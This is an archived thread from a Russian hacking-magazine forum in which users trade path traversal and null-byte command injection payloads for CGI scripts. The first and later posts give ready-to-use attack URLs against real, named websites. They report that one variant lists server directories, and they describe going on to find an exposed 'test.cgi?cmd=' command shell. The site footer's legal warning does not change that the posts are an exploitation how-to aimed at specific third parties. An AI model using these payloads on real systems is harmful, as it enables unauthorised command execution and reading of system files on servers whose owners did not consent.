Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

наверное это будет интересно

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> наверное это будет интересно
Имя
Сообщение << Старые топики   Новые топики >>
наверное это будет интересно - 2006-12-29 08:40:39.696666   
kavardo

Сообщений: 9
Оценки: 0
Присоединился: 2006-12-02 16:48:55.250000
 Про такую фишку как:../../../../../../../../../../../etc/passwd все знают и про ../../../bin/ls| тоже.
А так пробовал кто-нибуть:
../../../../../../../../../../../../../../../bin/ls%00|
Даю ссылку для пробы:
www.cats.gr.jp/library/tips/bbs.cgi?id=../../../../../../../../../../../../../../bin/ls%00|
В хак статьях я этого не встречал.
На оригинальность не претендую.
Post #: 1
RE: наверное это будет интересно - 2006-12-29 09:44:21.916666   
Pupkin-Zade

Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
 Ну и в чем суть то?
Ежу понятно что так и будет
Post #: 2
RE: наверное это будет интересно - 2006-12-29 21:10:02.106666   
Dimonelite

Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
quote:

ORIGINAL: Pupkin-Zade

Ну и в чем суть то?
Ежу понятно что так и будет

может конечно я сильно торможу, но я пока не врубился почему так случилось. вообще %00 должен отрезать следующий символ(|), тогда почему если написать без | эффекта нету ?
Post #: 3
RE: наверное это будет интересно - 2006-12-30 03:03:45.250000   
kavardo

Сообщений: 9
Оценки: 0
Присоединился: 2006-12-02 16:48:55.250000
 Вот мне тоже пока не понятно почему так.
Причем после команды ни пробел ни $IFS не проходит.
Я уже собрал ссылок 10 -15 таких.
Post #: 4
RE: наверное это будет интересно - 2006-12-30 06:56:31.303333   
kavardo

Сообщений: 9
Оценки: 0
Присоединился: 2006-12-02 16:48:55.250000
 http://www.accessup.org/archive/read_line.cgi?file=/bin/ls| …. ответ no such a file
комбинации file=|ls, |ls|, ls| ответ тот же
http://www.accessup.org/archive/read_line.cgi?file=/bin/ls%00| … выводит листинг каталога
Пробелы или $IFS ни в какой комбинации не проходят.
Ну а дальше дело техники. Находится интересный файл как то test.cgi, смотрим исходник.
Там все просто test.cgi?cmd=
Ссылку взял из опубликованных слонов, помоему еще за 2005 год.
Дальше ковырять не стал там 3 админа в консоли сидят.
Post #: 5
Страниц:  [1]
Все форумы >> [В Сети] >> наверное это будет интересно







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.